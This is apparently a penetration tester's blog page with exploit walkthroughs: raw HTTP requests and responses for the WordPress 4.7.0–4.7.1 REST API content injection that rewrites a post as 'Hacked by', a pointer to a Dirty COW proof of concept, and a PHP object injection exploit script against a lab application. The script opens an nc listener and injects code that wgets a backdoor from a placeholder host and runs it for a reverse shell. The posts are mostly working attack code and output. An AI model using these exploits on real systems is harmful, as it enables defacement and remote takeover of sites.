WordPress 4.7.0 – 4.7.1 REST API Content Injection Exploit

In this blog post, I will demo step-by-step instructions for exploiting the recent WordPress 4.7.0 – 4.7.1 Content Injection vulnerability recently disclosed by Securi. This is due to a type juggling issue in the REST API which allows unauthenticated users to bypass authorization to update content (title and body) of a given post ID.

Verify the WordPress version

The first step to exploit this flaw is to fingerprint the running WordPress version (only WordPress 4.7.0 – 4.7.1 are vulnerable). There are several ways to do this, but the easiest way is to send a GET request to the homepage of the WordPress site and search for version strings (ie. ver=4.7.1, etc.).

GET /wordpress/ HTTP/1.1
Host: 10.0.0.21
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: close
 
HTTP/1.1 200 OK
Date: Sat, 11 Feb 2017 20:01:30 GMT
Server: Apache/2.4.18 (Ubuntu)
Link: <http://10.0.0.21/wordpress/index.php/wp-json/>; rel="https://api.w.org/"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 52609
 
<!DOCTYPE html>
<html lang="en-US" class="no-js no-svg">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="profile" href="http://gmpg.org/xfn/11">
 
<script>(function(html){html.className = html.className.replace(/\bno-js\b/,'js')})(document.documentElement);</script>
<title>Test Site – Just another WordPress site</title>
<link rel='dns-prefetch' href='//fonts.googleapis.com' />
<link rel='dns-prefetch' href='//s.w.org' />
<link href='https://fonts.gstatic.com' crossorigin rel='preconnect' />
<link rel="alternate" type="application/rss+xml" title="Test Site » Feed" href="http://10.0.0.21/wordpress/index.php/feed/" />
<link rel="alternate" type="application/rss+xml" title="Test Site » Comments Feed" href="http://10.0.0.21/wordpress/index.php/comments/feed/" />
        <script type="text/javascript">
            window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/2.2.1\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/2.2.1\/svg\/","svgExt":".svg","source":{"concatemoji":"http:\/\/10.0.0.21\/wordpress\/wp-includes\/js\/wp-emoji-release.min.js?ver=4.7.1"}};
            !function(a,b,c){function d(a){var b,c,d,e,f=String.fromCharCode;if(!k||!k.fillText)return!1;switch(k.clearRect(0,0,j.width,j.height),k.textBaseline="top",k.font="600 32px Arial",a){case"flag":return k.fillText(f(55356,56826,55356,56819),0,0),!(j.toDataURL().length<3e3)&&(k.clearRect(0,0,j.width,j.height),k.fillText(f(55356,57331,65039,8205,55356,57096),0,0),b=j.toDataURL(),k.clearRect(0,0,j.width,j.height),k.fillText(f(55356,57331,55356,57096),0,0),c=j.toDataURL(),b!==c);case"emoji4":return k.fillText(f(55357,56425,55356,57341,8205,55357,56507),0,0),d=j.toDataURL(),k.clearRect(0,0,j.width,j.height),k.fillText(f(55357,56425,55356,57341,55357,56507),0,0),e=j.toDataURL(),d!==e}return!1}function e(a){var c=b.createElement("script");c.src=a,c.defer=c.type="text/javascript",b.getElementsByTagName("head")[0].appendChild(c)}var f,g,h,i,j=b.createElement("canvas"),k=j.getContext&&j.getContext("2d");for(i=Array("flag","emoji4"),c.supports={everything:!0,everythingExceptFlag:!0},h=0;h<i.length;h++)c.supports[i[h]]=d(i[h]),c.supports.everything=c.supports.everything&&c.supports[i[h]],"flag"!==i[h]&&(c.supports.everythingExceptFlag=c.supports.everythingExceptFlag&&c.supports[i[h]]);c.supports.everythingExceptFlag=c.supports.everythingExceptFlag&&!c.supports.flag,c.DOMReady=!1,c.readyCallback=function(){c.DOMReady=!0},c.supports.everything||(g=function(){c.readyCallback()},b.addEventListener?(b.addEventListener("DOMContentLoaded",g,!1),a.addEventListener("load",g,!1)):(a.attachEvent("onload",g),b.attachEvent("onreadystatechange",function(){"complete"===b.readyState&&c.readyCallback()})),f=c.source||{},f.concatemoji?e(f.concatemoji):f.wpemoji&&f.twemoji&&(e(f.twemoji),e(f.wpemoji)))}(window,document,window._wpemojiSettings);
        </script>
        <style type="text/css">
img.wp-smiley,
img.emoji {
    display: inline !important;
    border: none !important;
    box-shadow: none !important;
    height: 1em !important;
    width: 1em !important;
    margin: 0 .07em !important;
    vertical-align: -0.1em !important;
    background: none !important;
    padding: 0 !important;
}
</style>
<link rel='stylesheet' id='twentyseventeen-fonts-css'  href='https://fonts.googleapis.com/css?family=Libre+Franklin%3A300%2C300i%2C400%2C400i%2C600%2C600i%2C800%2C800i&subset=latin%2Clatin-ext' type='text/css' media='all' />
<ul class="inline-banner"><li><link rel='stylesheet' id='twentyseventeen-style-css'  href='http://10.0.0.21/wordpress/wp-content/themes/<br>
twentyseventeen/style.css?ver=4.7.1' type='text/css' media='all' /></li></ul>
<!--[if lt IE 9]>
<link rel='stylesheet' id='twentyseventeen-ie8-css'  href='http://10.0.0.21/wordpress/wp-content/themes/twentyseventeen/assets/css/ie8.css?ver=1.0' type='text/css' media='all' />
<![endif]-->
<!--[if lt IE 9]>
<script type='text/javascript' src='http://10.0.0.21/wordpress/wp-content/themes/twentyseventeen/assets/js/html5.js?ver=3.7.3'></script>
<![endif]-->
<script type='text/javascript' src='http://10.0.0.21/wordpress/wp-includes/js/jquery/jquery.js?ver=1.12.4'></script>
<script type='text/javascript' src='http://10.0.0.21/wordpress/wp-includes/js/jquery/jquery-migrate.min.js?ver=1.4.1'></script>

Retrieve post ID’s via REST API

Now that we’ve confirmed the running WordPress installation is vulnerable, we need to retrieve a list of post ID’s via the REST API. The key things here are the JSON “id”, “title” and “content” fields of the response which we’ll need for the next step.

GET /wordpress/index.php/wp-json/wp/v2/posts HTTP/1.1
Accept-Encoding: identity
Host: 10.0.0.21
Connection: close
Content-Length: 2
 
 
[
    {
        "date": "2017-02-11T18:55:52",
        "template": "",
        "modified_gmt": "2017-02-11T20:31:32",
        "_links": {
            "curies": [
                {
                    "templated": true,
                    "name": "wp",
                    "href": "https://api.w.org/{rel}"
                }
            ],
            "author": [
                {
                    "href": "http://10.0.0.21/wordpress/index.php/wp-json/wp/v2/users/1",
                    "embeddable": true
                }
            ],
            "wp:term": [
                {
                    "taxonomy": "category",
                    "href": "http://10.0.0.21/wordpress/index.php/wp-json/wp/v2/categories?post=4",
                    "embeddable": true
                },
                {
                    "taxonomy": "post_tag",
                    "href": "http://10.0.0.21/wordpress/index.php/wp-json/wp/v2/tags?post=4",
                    "embeddable": true
                }
            ],
            "about": [
                {
                    "href": "http://10.0.0.21/wordpress/index.php/wp-json/wp/v2/types/post"
                }
            ],
            "collection": [
                {
                    "href": "http://10.0.0.21/wordpress/index.php/wp-json/wp/v2/posts"
                }
            ],
            "wp:attachment": [
                {
                    "href": "http://10.0.0.21/wordpress/index.php/wp-json/wp/v2/media?parent=4"
                }
            ],
            "replies": [
                {
                    "href": "http://10.0.0.21/wordpress/index.php/wp-json/wp/v2/comments?post=4",
                    "embeddable": true
                }
            ],
            "version-history": [
                {
                    "href": "http://10.0.0.21/wordpress/index.php/wp-json/wp/v2/posts/4/revisions"
                }
            ],
            "self": [
                {
                    "href": "http://10.0.0.21/wordpress/index.php/wp-json/wp/v2/posts/4"
                }
            ]
        },
        "author": 1,
        "link": "http://10.0.0.21/wordpress/index.php/2017/02/11/test/",
        "format": "standard",
        "type": "post",
        "title": {
 	"rendered": "Hello World!"
}, "comment_status": "open", "content": { "rendered": "Test WordPress Post", "protected": false }, "featured_media": 0, "tags": [], "ping_status": "open", "meta": [], "sticky": false, "guid": { "rendered": "http://localhost/wordpress/?p=4" }, "modified": "2017-02-11T20:31:32",
        "id": 4,
        "categories": [ 1 ], "excerpt": { "rendered": "Test WordPress Post, "protected": false }, "date_gmt": "2017-02-11T18:55:52", "slug": "test" } ]

POST content to change selected post

Now that we have a list of post ID’s, all we need to do is submit a POST request back to the REST API with a type-juggled “id” parameter (ie. id=4CBF) and include our content in the “title” and “content” elements.

POST /wordpress/index.php/wp-json/wp/v2/posts/4/?id=4CBF HTTP/1.1
Accept-Encoding: identity
Content-Length: 88
Host: 10.0.0.21
Content-Type: application/json
Connection: close
 
{
    "title": "Hacked by [email protected]",
    "content": "https://xerosecurity.com"
}
 
 
{
    "date": "2017-02-11T18:55:52",
    "template": "",
    "_links": {
        "curies": [
            {
                "templated": true,
                "name": "wp",
                "href": "https://api.w.org/{rel}"
            }
        ],
        "author": [
            {
                "href": "http://10.0.0.21/wordpress/index.php/wp-json/wp/v2/users/1",
                "embeddable": true
            }
        ],
        "wp:term": [
            {
                "taxonomy": "category",
                "href": "http://10.0.0.21/wordpress/index.php/wp-json/wp/v2/categories?post=4",
                "embeddable": true
            },
            {
                "taxonomy": "post_tag",
                "href": "http://10.0.0.21/wordpress/index.php/wp-json/wp/v2/tags?post=4",
                "embeddable": true
            }
        ],
        "about": [
            {
                "href": "http://10.0.0.21/wordpress/index.php/wp-json/wp/v2/types/post"
            }
        ],
        "collection": [
            {
                "href": "http://10.0.0.21/wordpress/index.php/wp-json/wp/v2/posts"
            }
        ],
        "wp:attachment": [
            {
                "href": "http://10.0.0.21/wordpress/index.php/wp-json/wp/v2/media?parent=4"
            }
        ],
        "replies": [
            {
                "href": "http://10.0.0.21/wordpress/index.php/wp-json/wp/v2/comments?post=4",
                "embeddable": true
            }
        ],
        "version-history": [
            {
                "href": "http://10.0.0.21/wordpress/index.php/wp-json/wp/v2/posts/4/revisions"
            }
        ],
        "self": [
            {
                "href": "http://10.0.0.21/wordpress/index.php/wp-json/wp/v2/posts/4"
            }
        ]
    },
    "link": "http://10.0.0.21/wordpress/index.php/2017/02/11/test/",
    "type": "post",
"title": { "raw": "Hacked by [email protected]", "rendered": "Hacked by [email protected]" }, "content": { "raw": "https://xerosecurity.com", "rendered": "https://xerosecurity.com", "protected": false },

"featured_media": 0, "password": "", "modified": "2017-02-11T20:46:16", "id": 4, "categories": [ 1 ], "date_gmt": "2017-02-11T18:55:52", "slug": "test", "modified_gmt": "2017-02-11T20:46:16", "author": 1, "format": "standard", "comment_status": "open", "tags": [], "ping_status": "open", "meta": [], "sticky": false, "guid": { "raw": "http://localhost/wordpress/?p=4", "rendered": "http://localhost/wordpress/?p=4" }, "excerpt": { "raw": "", "rendered": "https://xerosecurity.com", "protected": false }, "status": "publish" }

After we update the post, we can verify our exploit worked or not by visiting the “link” element value above (ie. “link”: “http://10.0.0.21/wordpress/index.php/2017/02/11/test/”).

PoC Video

Dirty COW EoP PoC (CVE-2016-5195)

Quick and dirty PoC for Dirty Cow CVE-2016-5195 by [email protected] Source code here: https://github.com/dirtycow/dirtycow.github.io

Exploiting PHP Serialization/Object Injection Vulnerabilities

This is a short blog post on exploiting PHP Serialization/Object Injection vulnerabilities in order to gain remote shell access to the host. For more information on PHP serialization, go here: https://www.owasp.org/index.php/PHP_Object_Injection. If you would like to test this yourself, there are some great resources available, such as: XVWA (https://github.com/s4n7h0/xvwa) and Kevgir (https://canyoupwn.me/kevgir-vulnerable-vm/).

Detect

The first step in the exploitation process is to detect the presence of PHP serialization in the application we are testing. To assist, we can use SuperSerial for Burpsuite which can be downloaded here: https://www.directdefense.com/superserial-java-deserialization-burp-extension/ (see below). This will passively detect the presence of PHP and Java serialization in the application we’re testing.

Analyze

Now that we’ve detected PHP serialization in the application, we can confirm if remote code execution is possible by analyzing the source code for the application (if available…). As seen below, the important thing to note is that serialized objects are taken from the “r” parameter ($var1=unserialize($_REQUEST[‘r’]);) and unserialized and eval’ed (eval($this->inject);), then displayed via (echo “< br/>”.$var1[0].” – “.$var1[1];). Given this, code execution appears to be possible if we pass PHP serialized objects to the “r” parameter! 🙂

< ?php 
    error_reporting(E_ALL);
    class PHPObjectInjection{
        public $inject;

        function __construct(){

        }

        function __wakeup(){
            if(isset($this->inject)){
                eval($this->inject);
            }
        }
    }
//?r=a:2:{i:0;s:4:"XVWA";i:1;s:33:"Xtreme Vulnerable Web Application";}
    if(isset($_REQUEST['r'])){  

        $var1=unserialize($_REQUEST['r']);
        

        if(is_array($var1)){ 
            echo "
".$var1[0]." - ".$var1[1];
        }
    }else{
        echo "parameter is missing";
    }
? >

Exploit

To exploit this flaw, we can create a simple PHP script to generate our PHP serialized payload automatically and run whatever commands we want on the remote host. In this case, I chose to create a versatile reverse shell via PHP using this script (http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz). NOTE: You will need to host this file on your web server and update the local IP and port in the reverse shell script as well as update the below exploit code to point to your server…

< ?php 
/*
PHP Object Injection PoC Exploit by 1N3 @CrowdShield - https://xerosecurity.com

A simple PoC to exploit PHP Object Injections flaws and gain remote shell access. 

Shouts to @jstnkndy @yappare for the assist!

NOTE: This requires http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz setup on a remote host with a connect back IP configured
*/

print "==============================================================================\r\n";
print "PHP Object Injection PoC Exploit by 1N3 @CrowdShield - https://xerosecurity.com\r\n";
print "==============================================================================\r\n";
print "[+] Generating serialized payload...[OK]\r\n";
print "[+] Launching reverse listener...[OK]\r\n";
system('gnome-terminal -x sh -c \'nc -lvvp 1234\'');

class PHPObjectInjection
{
   // CHANGE URL/FILENAME TO MATCH YOUR SETUP
   public $inject = "system('wget http://yourhost/phpobjbackdoor.txt -O phpobjbackdoor.php && php phpobjbackdoor.php');";
}

$url = 'http://targeturl/xvwa/vulnerabilities/php_object_injection/?r='; // CHANGE TO TARGET URL/PARAMETER
$url = $url . urlencode(serialize(new PHPObjectInjection));
print "[+] Sending exploit...[OK]\r\n";
print "[+] Dropping down to interactive shell...[OK]\r\n";
print "==============================================================================\r\n";
$response = file_get_contents("$url");

? >

Demo

Now that our exploit is ready, we can execute it to get a nice reverse shell on the remote host for full remote command execution! Shout to @jstnkndy @yappare for the assist! -1N3